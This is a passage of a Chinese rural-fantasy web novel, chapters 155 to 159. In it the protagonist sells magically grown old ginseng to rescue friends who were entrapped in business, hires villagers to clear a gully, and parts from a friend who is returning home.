莫天扬眼神微动，“不用。让标叔去大队说一声，雀沟我已经承包了，里面的木头谁想要就自己去搬。” 陈峰连忙摆手，“天扬，雀沟里的胡杨、红柳好多都是百年以上的。这些天我们没事也下去转过，不少还能用。你事业刚起步，往后用木料的地方多着呢。那些材料就算不能盖房建屋，拿来修羊场、建机场，或者别的地方都能派上用场。现在正好农闲，我们几个先动手，把能用的都弄回来。” “峰叔，雀沟里树木太多，就咱们几个人手不够，还是得多找些人手。” 陈峰应声道：“行，这两天先修条路，上下也方便。” “修路的事交给我，我去找吕建国，他们有挖机，一会儿就能弄好。” “成，那我和胡标他们去看看路修哪儿合适。” 莫天扬望向雀沟的方向，眼神闪烁，心里已有打算。“我过去就行，您去找标叔他们商量一下，看需要多少人。有工具的最好，再问问附近村子有没有钩机，到时候我们把树根也全都挖出来。” 莫天扬心里自有盘算。事业刚起步，有些话还不便对胡标、陈峰他们明说。但他相信，只要给他时间，一定能带动青木村发展起来。 而发展之首，在于水源——仅靠家里一口井，远远不够。他第一次进山，就是为了寻找可引下山的水源。一旦成功，雀沟就会成为未来的蓄水地。这一切陈峰他们尚不知情，因此他得提前布局。 有人就好办事，加上吕建国本来就是搞建筑的，听了莫天扬的建议，很快选定了修路的位置。 “吕哥，麻烦你了。花费多少，到时候你跟我说一声。” 吕建国笑笑，“没问题，明天一天就能搞定。” 夜幕降临，众人聚在餐厅里。莫天扬抱着一坛屠苏走进来，大家眼前顿时一亮。 “天扬，这一坛屠苏至少好几千吧，你真舍得？” 莫天扬看向调侃他的陈宏利，“还真舍不得。你们几个现在驾驶证都拿到了，车过两天就回来，以后就别喝酒了。” “那怎么行？我以后不开车就是了！” 说笑间，莫天扬给大家斟上酒。人们边吃边聊，酒过三巡，莫天扬看向胡标、陈峰和曹勇： “标叔，人手找得怎么样了？” “人没问题，每人每天八十，中午管一顿饭，能吃饱就行。暂时找了五十个，不够再说。” “行，那峰叔、慧姐可就得多辛苦了。” “人是不少，就是还没找到钩机。” “吕建国有门路，他说他来想办法。” 当送走最后一位客人，等到刘思雨和颜若曦都睡下，莫天扬才独自回到自己的房间。大半天强撑的笑容终于卸下，其实他心里一直压着王传林他们的事，沉重得几乎透不过气。 进入灵泉空间，满目是果实累累的西红柿和黄瓜，还有那几乎没人认得的金银枣，郁郁葱葱、长势喜人。莫天扬却只觉得无奈——这些蔬菜瓜果、农作物，若真能迅速换成现钱，该有多好…… 他轻声叹息，走向移栽老山参的那片区域。经历几次空间演变，老山参所在的土壤泛着隐隐的火红色。最中央那株老山参的株干已有拇指粗细，周体给人一种苍劲，仿佛蕴藏着岁月的力量。莫天扬内心挣扎不已。 当初在青木山发现它时，就已有近百年的参龄。经过灵泉空间数次滋养，如今连他自己也说不清它到底有了多少年份。 王传林他们出了事，急需一大笔钱。他手头没有现钱，空间里的水产品、蔬菜瓜果又难以迅速变现，唯一能指望的，就只有这些老山参。 沉默了许久，他的目光终于从中央那株参王身上移开，落向周围稍小一些的老山参。他实在不忍让那株百年参王断了生机。 蹲下身仔细辨认，莫天扬忽然眼睛一亮——从参芦和叶片的形态判断，最早移栽进来的这批老山参，年份至少也在三十年以上，其中更有一些超过了五十年。这样的老山参，拿出去每一株都价值不菲。 他绕着参地走了一圈，最终挖出十几株五十年以上的老山参，又小心取了两株接近百年的。 将参收好，莫天扬轻轻叹了口气。也不知道这些能卖多少钱，够不够把李红军他们保释出来…… 就在这时，他心头忽然一动——想起那个很久没去的平台角落。上次在沛川黑市捡漏，他随手收来一幅古画，之后一直没留意。若那是真迹，或许能多换一些钱。 他走向那片几乎被遗忘的角落，西红柿、黄瓜、豆角和茄子的植株比之前粗壮了许多，零星散落的老山参和黄芪种子又长出新的嫩苗，每一株拿出去都足以令人眼红。 莫天扬找到了那幅卷轴，轻轻展开。一瞬间，一股古朴的气息迎面而来，其中还夹杂着一丝若有若无的墨香。 他对古画完全是个外行，但灵泉空间赋予他的感知远非常人可比。 画面描绘的是一群古人在夜间游园的场景。虽不懂鉴赏，但图中人物神态生动、笔意流畅，莫天扬直觉这幅画并不简单。 他伸手轻轻触摸纸面，心头微微一动——一种厚重而润泽的触感自指尖传来。 难道，这真的是真迹？ 第一百五十六章雪中送炭情 精品果蔬店里，莫天扬一眼看到张学涛，心头不禁一震——才一段时间没见，张学涛整个人瘦了一大圈，面容憔悴，眼窝深陷，仿佛老了好几岁。 “涛哥，你……” 张学涛勉强挤出一丝笑容，“天扬，我没事。” 说完，他转向正在卸豆芽的李国强，“强子，你看着点秤，我和天扬说点事。” “你们忙，过完秤我还得去看个朋友，就不打扰了。对了天扬，你什么时候回去？” “强哥你先忙，到时候我自己回。” 进了张学涛的办公室，张学涛倒了杯茶递给莫天扬。莫天扬把背包随意放在脚边，接过茶杯抿了一口，深吸一口气。 “涛哥，是不是王哥他们得罪什么人了？” 张学涛摇摇头，“他们自己也不清楚。但按他们的说法，像是被人专门做了局，这才陷了进去。” 他顿了顿，语气低沉：“天扬，王哥他们一开始不想让你知道，不是信不过你，正是因为他们了解你的为人，才不想让你分心。” “涛哥，都是朋友。就算我帮不上大忙，至少也该知道实情。” 张学涛苦笑着点头，“天扬，这几天我又凑了一些。王哥昨天好像回来了，我正打算去沛川一趟，你……” “我也去看看王哥。” “行。我们都知道你现在手头有些资金，可那都是你下一步的发展基金。听说你又承包了沙地，到处都要用钱，你的钱先留着，别动。” 莫天扬目光动了动，伸手拿过背包。张学涛微微一愣——要是往常，他肯定要猜莫天扬又带了什么新鲜东西，可现在实在提不起兴致，也就没多问。 直到莫天扬拿出一个用卫生纸裹得严严实实的东西，张学涛才忍不住皱了皱眉，“天扬，这是……” 下一刻，他却猛地发出一声低呼。 卫生纸层层展开，里面竟是一株晶莹饱满、比成人拇指还粗的老山参。 “天扬，你从哪找到品相这么好的老山参？这可不便宜！” “青木山里偶然挖到的。涛哥，你看这颗能卖多少？” 张学涛摇摇头，“我不太懂行，但这样的品相，少说也得几万块。你这是要……” 莫天扬深吸一口气，“我手头的现钱或许解决不了王哥的危机，但我还有一些这样的老山参。找个地方卖了，能凑一点是一点。” “天扬，你这心意……” “走吧，先去看王哥。” 车驶在沛川的大道上，经过某片区域时，莫天扬下意识望向窗外。开车的张学涛低声苦笑： “不用看了，天扬。王哥那栋大楼已经被查封，接下来就要拍卖抵债。” 莫天扬眉头紧锁，心中骇然。王传林他们究竟是遭了多大的难，连自己出资买下的大楼都保不住？ 车子七拐八绕，开进一个有些老旧的小区。“涛哥，王哥住这？” “这是他的老房子。大房子早就卖了。” 单元门前，防盗门吱呀一声打开。莫天扬心头一紧——才多久没见，王传林简直像变了个人，瘦脱了相，脸色灰白，眼窝深陷。 王传林看到张学涛身后的莫天扬，也愣住了，“天扬，你怎么来了……”话说出口，他脸上闪过一丝难以掩饰的尴尬。 曾经亿万身家、在沛川叱咤风云的人物，如今落魄至此，巨大的落差让他几乎无颜面对故人。 “王哥，进去再说。” 屋里家具陈旧，沙发塌陷，空气中弥漫着浓重的烟味，地上散落着无数烟头。 “嫂子她们呢？” “离了。” “什么？” 张学涛低声接话：“王哥怕牵连到嫂子和孩子，提前离了。现在娘俩在娘家住。” 王传林看向莫天扬，眼中的血丝清晰可见，“天扬，我们这次算是彻底栽了。你好好干，等我们出来，就去给你打工。” “王哥，这到底是怎么回事？” “让人给算计了。” “对方什么人？既然是设局，我们能不能……” 王传林摆了摆手，“对方好几拨人，手续、合同全都正规。是我们太轻信别人……他们是有备而来，没留下任何证据。我们已经翻不了身了，还有几个兄弟仍在里面。” “涛子，你这次凑了多少？得先想办法把李红军他们弄出来，不然他们可能真就出不来了。” “三十万。一共还需要多少？” 王传林苦笑了一下，“起诉方的窟窿，最少还要六百万才能填上。” “天扬，你……”没等张学涛说完，王传林就打断他： “天扬正处在发展的关键阶段，他的钱不能动。” “王哥，你先看看这些能卖多少。” 莫天扬说着，将包里所有老山参都拿了出来。卫生纸一层层揭开，一株株白净饱满的老山参逐渐显露——不止张学涛，连王传林都愣在了原地。 “天扬，这……” 王传林震惊得几乎说不出话来，就连事先知道莫天扬带着老山参的张学涛，也彻底愣在原地——他虽知情，却万万没料到竟是这么多株。 莫天扬深吸一口气，说道：“王哥，你先看看这些老山参能值多少钱。” 王传林双手微颤，一株一株仔细端详，动作极为小心。“天扬，我不算懂行，但我见过一株五十年的老山参，品相根本没法跟你这些比。尤其是这两株……我连年份都看不出来。” “一株五十年的能卖多少？” “我之前见过的那株，卖了十三万。就你带来的这些，随便一株恐怕都不低于二十万。至于那两株大的……我不敢估。” 莫天扬点点头，“王哥，我能力有限，能帮的不多。这些老山参，你找人卖了吧。” “这怎么行！这些都是可遇不可求的宝贝，你该自己留着，以后有用处。” 莫天扬却语气坚决：“都是我从山里偶然得来的，留在我手里发挥不了太大作用，先解决你们的困难要紧。” 听他这么说，王传林眼眶一热，眼泪再也忍不住落了下来。这些天他不知找过多少旧友，可一听是他，人人都避而不见。 而如今，莫天扬却毫不犹豫地拿出足以解他燃眉之急的珍宝——他们才认识多久？这份情义，早已超出言语能表达的范畴。 “天扬，我……” “王哥，先别说这些。你估个数，这些够不够？我手里还有别的。”莫天扬说着，想起那幅古画。 王传林抹去眼泪，深吸一口气：“应该差不多。不过我对老山参不算内行，得请人鉴定。” “那还等什么？现在就去。” 王传林却摇摇头：“沛川没有真正懂行的。这种宝贝，得去燕京——那里才有识货的人，也能卖出好价钱。” 说完，他看向张学涛：“涛子，现在他们几个不是被关着，就是被限制离开，我手头也实在紧张……你得陪我走一趟。” 张学涛郑重点头。王传林突然转身，竟直接朝莫天扬跪了下去—— 莫天扬一惊，连忙将他扶起：“王哥，你这是干什么！” 王传林声音发颤，眼中含泪：“天扬，哥跟你说句掏心窝的话：就算他们出来，短时间内我们也很难翻身。这钱……我们恐怕一时半会儿还不上。” 莫天扬轻轻拍了拍他的肩：“王哥，我最难的时候，是你们鼎力相助。现在你们有难，我有能力却不帮，那还是人吗？再说这些都是我从山里白捡来的，我没花一分钱。你直接拿去用，别多想。” 王传林重重点头，“那哥就不跟你客气了。但我得实话实说，就算我们出来，翻身的希望也很渺茫。” 莫天扬淡淡一笑：“翻不了身，就来给我打工。” 这一句，把王传林也说笑了。他伸手紧紧抱住莫天扬，在他背上用力拍了两下：“天扬，咱兄弟认识时间虽不长，但这辈子能交到你和涛子这样的朋友，值了。” “王哥，天扬的‘屠苏’新酒出来了，正好这次去燕京，你看……”张学涛在一旁提醒。 王传林眼睛一亮，忙看向莫天扬：“出了多少？” “一千斤。” 王传林深吸一口气，果断说：“信得过哥的话，‘屠苏’都交给我。” “上次就说好要留给你们的，只是这次来得急……” 王传林摆摆手打断：“他们都尝过，早就盼着了。‘屠苏’虽是古法酿的酒，但没有好包装，卖不出高价，现在也就一百多块。可一旦配上好包装，绝不会低于茅台。” “屠苏是手工酿的，产量有限，以后再说。现在最要紧的是先解决你们的危机。” “天扬，我们现在就走还能赶得上飞机，不过你……” 莫天扬淡淡一笑，“我没事，我去农贸市场转转买点东西，找个车就回去，等麻烦解决了兄弟们好好坐坐。” “行。” 离开小区，看着张学涛的车子消失，莫天扬眼眸闪烁了几下，心里突然间有了一个想法，那就是王传林他们被人算计，会不会和自己有关系，如果真的有关系的话，那自己的罪恶就大了。 第一百五十七章再遇楚婧雅 直到车子消失在视线尽头，莫天扬拿过背包，伸手将那一幅古画再次收回空间。他正犹豫是直接返回还是四处转转，却陡然心念一动，想起了王海龙几人。他掏出手机，拨通了王海龙的电话。 “天扬，刘成祥已经回去了吧？” “回去了。你们在哪儿？” “我们这也正准备收拾东西回去，等见面再细说。” “正好，我在沛川。” “你来沛川了？”王海龙语气中透出几分惊讶。 “你们在什么位置？我过去找你们。” 在一个不起眼的小旅店里，莫天扬见到了王海龙、徐志国和赵兴胜。旅馆条件颇为简陋，他的心里不由得微微一震。 “这环境也太艰苦了，你们怎么住这儿……” 王海龙三人却只是淡然一笑，“这已经算不错了，以前出任务的时候，荒郊野地都睡过。” “天扬，你怎么来沛川了？有事？”徐志国问道。 莫天扬深吸一口气。虽然与这三人相识不久，但他清楚他们的背景。这次刘成祥能平安回去、林浩宇身败名裂，全靠他们出手相助。因此，莫天扬对他们有一种莫名的信任，于是毫不隐瞒，将王传林、李红军等人的遭遇原原本本说了一遍。 听完莫天扬的叙述，三人彼此对视，王海龙沉吟道：“那段时间，王传林和李红军确实经常露面。” 莫天扬点点头，“你们也听说过他们？” 王海龙语气凝重：“何止听说过。他们的事在沛川，甚至全省都闹得沸沸扬扬。尤其是王传林，近几年可是沛川商界的风云人物，年纪轻轻就成了亿万富翁。可最近这一个多月，他不仅自己陷入危机，连身边几个朋友也都遭了殃。” “他说，他们是被人做了局。” 王海龙表示同意：“我们调查林家的时候，也听到一些风声。他们似乎是得罪了一位大人物。” “什么人？” “具体名字没人提，但听得出这人虽然不在政界，却手眼通天。不仅在沛川，在整个西北都很有影响力。” 莫天扬目光一凝。在西北能有如此能量的人，绝对不容小觑。可他实在想不通，这样的人物为何要对王传林下手。 “海哥，他们说没说是为什么？” 王海龙犹豫了一下，低声道：“好像是因为他们帮了一个不该帮的人……王传林他们，其实是被牵连的。” 莫天扬呼出一口气，神情愈发凝重。他不知道王传林最近有没有帮过别人，但这几个月以来，确实是王传林他们一直在帮自己——没有他们的渠道和支持，他根本不可能有今天的成绩。 “天扬，你跟他们走得近，他们就没提过最近帮了谁？” “我们聚在一起多是闲聊，很少涉及他们生意上的事。不过从我起步做农业到现在，一直是他们在帮我推广蔬菜瓜果。” 王海龙三人几乎同时摇头：“天扬，你现在的生意虽然做得不错，但在那些真正有钱有势的人眼里，连小打小闹都算不上。你之前得罪的莫栓根本不值一提，至于林家……其实在你和林浩发生冲突之前，就已经有人对王传林他们出手了。” 莫天扬沉默不语。若在以前，他也会觉得王传林的遭遇与自己无关，可爷爷当初那番话言犹在耳。 李翠花的父辈是西北有名的悍匪，她嫁进莫老三家时，全村无人知道她的来历——唯有爷爷清楚。他甚至至今仍在担心，除了李翠花，悍匪李家是否还有别人活了下来…… 想到这儿，莫天扬心头一沉。他又想起安云飞的事——明明罪证确凿，别说免去牢狱之灾，就连复职都几乎不可能。可他却能全身而退。 很长时间以来，莫天扬一直在想到底是谁在背后冒险帮安云飞。而此时，王传林的遭遇突然点醒了他：这一切，极有可能与李家那些未露面的“后人”有关。 “天扬，你怎么了？”王海龙看出他神色不对，出声问道。 莫天扬摇了摇头，深吸一口气，神色凝重地说道：“海哥，你们留两个人下来，继续查王传林他们的事。” 王海龙三人闻言都愣了一下。王海龙沉吟片刻，开口道：“天扬，我们留下来调查没问题，但你要想清楚——连王传林这样的亿万富翁都毫无还手之力，就算我们查出什么，你又能怎么做？” “海哥，就按我说的去查吧。我总觉得这件事背后不简单。至少，就算王传林他们真的破产，也该弄明白到底是得罪了谁。” 王海龙看了看徐志国和赵兴胜，点了点头：“行。兴胜，你先回去。我和志国留下。” 赵兴胜应声道：“好。对方来头肯定不小，你们调查时务必小心，有事随时联系。” “海哥，你们换个地方住吧，这条件实在太差……” 王海龙却淡淡一笑：“这种地方才不惹人注意，办事更方便。” “钱够用吗？” 王海龙朝赵兴胜示意了一下，赵兴胜哈哈一笑：“就这段时间，餐馆生意特别火，每天净赚好几千，我们哪花得完？对了，所有开支我们都留着票据，之后一并上报。” 莫天扬点点头：“那就好。” “天扬，你先下去等，我们退个房。在这儿住了有些日子，也该换一处了。” 莫天扬提着背包站在旅馆门外等候。突然，一辆警车在旁边停下，他心里不由一紧。 车门打开，四名执法人员走了下来。莫天扬目光一凝，其中那位身材高挑、容颜出众的女警让他顿时怔住——怎么又遇到她了？ 他这一愣神，楚婧雅也注意到了莫天扬。她同样有些意外。若说是之前，她或许还不清楚莫天扬的底细，但自从那次青木村之行，她不仅认识了他，更知道了沛川近来颇有名气的蔬菜瓜果都出自他的家乡。 上次在浅驼因林浩宇的案子见过他，这回竟又在沛川遇上。别说莫天扬，连楚婧雅自己也觉得巧合。 “莫天扬，你在这里做什么？”楚婧雅走上前，语气不像询问，更像是质问——就和上次一样。 “我来沛川看个朋友。” “王传林？” 莫天扬点点头：“他出了点事，我过来看看。” 楚婧雅眼眸微动，语气放缓了些：“莫天扬，你攒下这份家业不容易。以前王传林或许能帮你，但现在他自身难保，你最好离他远点。” 莫天扬心头一动。他虽然不清楚楚婧雅的具体来历，但王传林曾提过她背景不凡。她能这样劝他，说明王传林惹上的麻烦远比想象中更大。 “他们是被人做了局，难道你们不管？” 楚婧雅微微蹙眉：“所有合同走的都是正规程序，只能说是他们自己判断失误。我们讲的是证据，没有证据，一切都是空谈。” 莫天扬苦笑着摇摇头：“我知道了，你忙。” 楚婧雅点点头，没再多说，带着人走进旅馆。 看着她走进门的背影，莫天扬微微一怔，下意识朝旅馆里望去，却见不远处的王海龙三人正朝他招手。 他快步走过去，王海龙低声问：“天扬，你认识楚婧雅？” 莫天扬苦笑：“上次她去青木村时见过。听王传林说她有些背景。” “她爷爷和林浩宇的爷爷一样，也是从上面退下来的。” 莫天扬咧了咧嘴，不由想起第一次遇见她的情景——这要是被她知道，怕不是得把他活剥了。 “他们来这儿干什么？” “例行查房而已。” 当莫天扬等人乘车离开后，刚走进小旅馆的楚婧雅忽然脚步一滞。她猛地想起，王传林在这一带根本没有房产，莫天扬说是来看他，又怎么会出现在这种小旅馆？ 想到这里，楚婧雅迅速转身走出旅馆，朝四周张望，却早已不见莫天扬的身影。 她蹙了蹙眉，再次回到前台，对旅馆老板说道：“帮我查一下，最近有没有一个叫莫天扬的客人入住。” 片刻后，老板抬头回答：“最近几天没有叫这个名字的登记。这人是不是犯了什么事？” “没有，只是了解一下。”楚婧雅边说边缓步走出旅馆。 正在这时，一个背着背包的学生从路边走过，楚婧雅心头蓦地一震——她突然想起之前在玉米地附近捡到的那个旧背包，里面装了不少蔬菜种子。背包虽然破旧，但上面“南开大学”的字样却格外清晰。 莫天扬正是南开大学毕业的。怪不得几次见面，总觉得他有些眼熟，原来那天在农田边撞见的人就是他！ 一经确认那天的身影就是莫天扬，楚婧雅俏脸顿时绯红，可眼中却不由地凝起一丝寒意。那天他戴着口罩，显然认得自己，却装作素不相识。难道当时莫天扬真的出现在黑市？ 但下一刻，她又生出几分疑惑：如果真是王传林他们带莫天扬去那种地方，逃跑也该在一起才对。莫天扬一个从农村出来的年轻人，按理说不该认识黑市的人。 可那天……他为什么一见她就跑？ 第一百五十八章难念的经 青木村的雀沟里，数十个满身灰土的工人正将一株株烧焦的胡杨和红柳锯倒，远远看去，像是刚出煤矿的工人。重新承包的沙地上，胡标带人把从院子里挖出来的泥土推平、整实。 灶台这边比往日更热闹了。除了陈峰、曹建华和曹慧，又多了几张陌生却勤恳的面孔——都是五十开外的年纪，却个个干得毫不惜力。 “天扬，回来啦？”陈峰先瞧见了他。 新来的几位也连忙站起身，看向莫天扬的眼神里带着些许拘谨。莫天扬微微一怔，在人群中看到了胡亮的父母。 “睿伯，您二位怎么也来了……” 胡睿夫妻神色有些尴尬，不约而同地望向陈峰。陈峰笑了笑接话：“天扬，亮子这些天不一直都在你这帮忙吗？他的变化大伙都看在眼里。他爹妈听说你这边缺人手，就主动过来搭把手的。他们说就是纯帮忙，啥也不要。” 莫天扬心里一暖。这就是村里人的朴实：你帮过他们一点，他们就总想着怎么回报你。 “睿伯，亮哥跟我说您二位常去雀沟边转转，来这儿走走不挺好？但既然来帮忙，工钱必须得算。要不村里人得骂我欺负长辈，标叔第一个不答应！” “天扬，你帮我们的已经太多了，我们就是做牛做马都报答不完。这点小事算个啥，真不要钱。” 莫天扬没再多说，只向陈峰递了个眼神，陈峰会意地点头：“明白，这事交给我，你们安心忙你们的。” 莫天扬又对几位新来帮忙的人说道：“大家也别见外，来了就是自家人。雀沟那边灰大，等工人们回来吃饭，多备些水，让大家好好洗把脸、洗洗手再吃。” “这些我都交代过了。”陈峰应道。 莫天扬走到灶边看了看准备的食材，深吸一口气：“峰叔，来的都是十里八村的乡亲，大烩菜肉得多放！一定得让大家吃好。吃不好哪有力气干活？再说人家回去一说，咱今后还想不想雇人了？” 他这话一出，连帮忙的人都悄悄交换了眼色，神情里多了几分认同。陈峰点点头：“今天这两锅菜就放了二十多斤肉，香得很！” “馒头备得够吗？”“管够，你放心！”有人笑着搭话：“天扬，都说你家的黄糕和小米特别好，啥时候也让咱们尝尝？” “人太多蒸糕怕是来不及，晚点熬些小米粥吧！” “那种子……能换些不？” “当然行！” 中午开饭，工人们洗了手凑近一看：大烩菜里满是厚厚的肉片，菜汤上都浮着一层油光，一个个都有些不敢相信。 他们中大多都是壮劳力，不少人也曾外出打工，工地上的大烩菜啥样心里都有数——很多时候就是水煮白菜加点酱油，哪见过这么多实打实的肉。 等一口热菜下肚，大伙的眼神都亮了：这味道，怕是饭店都未必能做这么香！ 一顿饭下来，两大大锅菜被吃得干干净净，每个人脸上都洋溢着满足的笑容。 饭后，陈峰有点心疼地对莫天扬说：“天扬，肉放得也太多了……两锅菜够百来人吃的，这才五十个人就扫光了。馒头倒剩了不少。要不明天……” 莫天扬却笑了笑：“吃饱了才有力气干活。只要大家好好干，这点肉钱不算什么。过去地主老财都知道给长工吃好点，咱们总不能比他们差吧？” 他说得在理，可屋里的人还是忍不住摇头——在他们的认知里，从来没人这么做大烩菜的。 “天扬，你真是太实在了……不过你说得对，像你这样待人，往后谁不愿意来给你干活？” 莫天扬望向远处说：“除了沙地，还有整条雀沟要收拾。明年用人的地方更多，要是待不好人家，到时候没人肯来，就靠咱们几个，累死也干不完。” 吃过午饭，胡标几人便先行离开。颜若曦拉着刘思雨去了自己屋里说悄悄话，莫天扬站在门口，望着爷爷莫啸缓步走向院子的背影，眼神复杂地闪烁了几下。 他攥了攥手心，心里挣扎着该不该把那些猜测告诉爷爷。那些事压在心头沉甸甸的，可一想到爷爷这些年为他操心付出的太多，莫天扬最终深吸一口气，慢慢松开拳头。算了，他暗自摇头，自己也长大了，有些事该自己扛，不能再让老人忧心。 下午小睡片刻，莫天扬刚推门走出屋子，就看见胡标一脸不快地正跟陈峰他们说着什么，语气间透着压抑的火气。 “标叔，怎么了这是？” 胡标转过身，满脸无奈：“王喜山那家伙又在闹事。” 莫天扬微微一怔，目光下意识投向远处那片沙地，“不是说好了吗？明年开春之前，他们都算临时工，工钱日结，没什么可挑剔的吧。” “他是看见雀沟那边来打工的外村人中午在你这儿吃饭，心里不平衡，嚷嚷着你区别对待，对外人好、对自己村的刻薄。” 莫天扬皱起眉头，“他们干的活一样吗？人家从外乡跑来，管顿饭怎么了？” “我也是这么跟他们说，可王喜山那几个人就是觉得亏了。非让我来跟你说，他们也要在这儿吃午饭。” 莫天扬没说话，只是眼里铺了层倦意。陈峰在一旁冷哼下，插话道：“天扬，别惯着他们，这种小便宜都贪，也不怕人笑话！有些人，你越让步，他们越得寸进尺。” 莫天扬苦笑着点了点头，然后看向胡标：“标叔，这样，您去跟他们说：要是他们愿意一天只拿八十，那中午这顿饭，我管。” 胡标、陈峰几人先是一愣，随即眼睛亮起来。“哎！这我怎么没想到！”胡标一拍大腿，“就他们那一天一百还不知足的德性！一顿饭扣二十，看他们还舍不舍得！” “天扬，”陈峰转而正色道，“下午我和曹勇去了趟雀沟，下面的草木灰堆积得不少。这几天天气还好，万一哪天起风，这么多灰可就全吹没了。” 莫天扬点头：“您的意思是？” “找几个人挖几个坑，把草木灰存起来发酵，开春还能当肥料用。草木灰这东西，不比农家肥差，弄好了明年地里的收成绝对好看。” “行，那这事就麻烦您安排。多找几个人专门负责，一定要注意安全。” “放心，回头我和胡标商量一下，等路通了先拉一批上来。” 日落西山，外乡的工人陆续下工回去。胡睿夫妻也收拾好东西准备回家，莫天扬瞧见，出声挽留：“睿伯，亮哥也在这儿，你们就留下一起吃吧？回去还得生火做饭，忙一天了，别那么累。” 胡睿连忙摆手：“不了不了，我们回家随便弄点吃的就行。” 胡标一边帮着收拾碗筷，一边插话：“哥，天扬既然开口了，你们就留下。回家也不过一碗稀饭的事，亮子现在也学好了，别总那么省。” 正收拾碗筷的胡亮动作一僵，低头无奈地笑了笑，没说话。 晚饭时，莫天扬又提起草木灰的事：“标叔，下午峰叔跟我说了雀沟草木灰的事，您怎么看？” “陈峰跟我通过气了，人我已经联系好，三十个人明天就来。清理草木灰不算重活，管一顿饭，一天六十。” 曹勇笑着摇头，插了句话：“下午王喜山那帮人后来怎么说？” “也就王喜山那几个挑事，别人都没吭声。我说一天八十就管饭，他们当然不干。” “二十块钱，够他们一家吃一天了，舍得才怪。”曹勇笑道，“王喜山这人，得敲打敲打，别动不动就闹，不然其他人有样学样。” 莫啸慢慢喝了口稀饭，缓缓说道：“都一大把年纪了，性子早定啰，改不了。不理他们就是了。” 胡标苦笑：“莫叔，他们是什么人您还不清楚？有便宜不占才怪。你不理，他们反而会缠上来。” 莫啸抬眼看了看莫天扬，语气深沉：“小子，王喜山他们不过是个缩影，往后像这样的人你会遇到更多。得好好想想，村里人就是这样，你对他十次好他记不住，一次不如意，就能传得你满村不是人。” 莫天扬苦笑颔首，心里却像压了块石头。他不由得想起莫老三一家——从记事起爷爷就没少帮他们，结果呢？到头来为了一套房、几十亩沙地，就能翻脸不认人。若不是自己意外获得灵泉空间，恐怕他们爷孙俩如今的日子都不好过。 有些人心，果然不是简单的好就能暖过来的。 听着曹勇、胡标他们的话，颜若曦杏目闪烁不断，她看向胡标，“标叔，村里人不都是憨厚老实，他们怎么……” “若曦，你不在农村长大，不知道农村的情况，农村的大多数人都是好的，不过哪一个村子都会有几个挑事、占便宜的，这个王喜山就是这种人，一旦没占便宜的话，他几天都睡不安稳，他都近六十岁的人，一天给他一百还不知足，这一百块如果雇人的话，三十来岁的苦劳力多的是，可他还不是不知足，遇到这种人没办法。” 第一百五十九章你会想我吗？ 莫天扬雇佣了上百人整治沙地、清理雀沟，这消息在十里八乡传得沸沸扬扬。要知道，雇这么多人，就算按最低工资一天六十算，中午还管一顿饭，每天的开销都不是小数目，根本不是普通人家能承担得起的。 正因为如此，附近村子甚至有人专程跑到青木村，就想亲眼看看莫天扬到底在搞什么名堂。当他们看到沙地上人们忙碌成一片的景象，连老一辈都忍不住惊叹——这种场面，似乎只有几十年前大集体的时候才出现过。 雀沟的一处区域，一条土路斜斜地伸向沟底。雀沟深达三十多米，但土路跨度大、坡度缓，连拖拉机都能轻松上下。莫天扬正在查看路基，手机突然震动起来。他看了一眼来电显示，深吸一口气，走到一旁接起了电话。 “涛哥，你们那边还顺利吗？” 电话那头，张学涛语气中透着兴奋：“一切顺利！鉴定结果出来了，你的老山参里有九根五十年份、七根六十年份，还有两根百年份的，每一根都是顶级品相，一共卖了五百七十万。我们现在已经在机场，晚上就能回来。” 莫天扬心头一松：“那就好，这笔钱应该足够解决眼下的困难了吧？” “王哥说了，这笔钱足够让李哥他们出来了。” “好，先回来把人接出来最重要，其他事等他们出来再商量。” 挂了电话，莫天扬长舒一口气。他也没想到，灵泉空间培育出的老山参居然这么值钱。要是把空间里所有的老山参都拿出来，那得是多巨大的一笔财富？他简直不敢想象。 但这个念头刚一冒出来，就被他按了下去。老山参之所以价高，正是因为稀少。如果真把灵泉空间里的存货大量出手，不仅会扰乱市场，更会让许多靠种参、采参为生的人陷入困境。 更重要的是，怀璧其罪的道理他懂。偶尔卖出几根老山参，别人只会以为是青木山的馈赠，毕竟这一带深山老林、宝藏众多，又有大青这样的“关系”，弄到些年份足的老参也不算稀奇。可一旦数量多了，势必会引起有心人的注意，甚至招来不法之徒，那麻烦可就大了。 “天扬，你想什么呢？” 颜若曦的声音忽然从身后传来。莫天扬转过身，看了眼跟在她身边的小白，无奈地笑了笑。别人一靠近，小白、大青它们总会警觉示警，可唯独颜若曦和刘思雨过来，这些家伙就像没看见似的。 “没什么。你怎么跑到这儿来了？” 颜若曦眼圈微微发红，“我出来有些日子了，刚我爸打电话来，说我爷爷病了……我得回去看看。” 莫天扬心里一沉，一种说不出的失落顿时涌了上来。他怔怔地望着颜若曦，半晌才深吸一口气，轻声说：“是该回去看看。以后时间还长，有空随时再来。” “那……能不能给我留个房间？” 莫天扬想也没想，脱口而出：“那还用说？早就给你留好了。现在正在装修，你喜欢哪一间？” “和思雨隔壁就行。” “她也要……” 颜若曦目光落在莫天扬脸上，神情有些复杂，“思雨是你同桌，现在又是村支书，你会拒绝她吗？” 莫天扬一时语塞，只好笑了笑，“拒绝不了。你先别急着走，明天我进山一趟，看能不能给你摘些山货。出来这么久，回去总不能空手。顺便把你的工资结一下。” 颜若曦伸手轻轻在他腰间捏了一下，“胡说什么呢？那时候是跟你开玩笑的，我才不要你的钱。” 莫天扬下意识握住她的手。指尖细腻温软的触感让颜若曦身子微微一颤，脸颊顿时绯红，却没有挣开，任由他握着。 看到她那模样，莫天扬也有些不好意思，讪讪地松开手，笑道：“一码归一码。” 颜若曦飞了他一个白眼，“那先放你那儿，等我需要的时候再跟你说。”她顿了顿，眼神亮了几分，“不知道现在还有没有金银枣、血瓜瓜……” “山里和山外不一样，就算同一座山，气候也处处不同。我去找找看。野味带出去会有麻烦，就多摘点蘑菇、木耳、地皮菜，这些东西在大城市可是有钱都难买到的。” “那就谢谢你了，到时候我给你算钱。” 莫天扬不由得摇头，抬手在颜若曦的秀发上轻柔了几下，“说什么呢。” 颜若曦咯咯一笑，可眼眸中却有了一层水雾，“那我就给你记下来，反正我也差你不少钱。” 莫天扬微微一愣，“你差我钱，什么时候？” 颜若曦狡黠一笑，“将来你就知道了，记住给我留房间，说不准那天我就又过来了、” “对了，再给我弄点药水，上次你给我的我都给爷爷寄回去了，爷爷说喝了你的药水，身体变得轻便不说，人还年轻了不少，你是不是一直都暗中给爷爷喝你做出来的药水，我听标叔他们说，他们每一个人都年轻了不少，爷爷那边更是年轻了十几岁。” 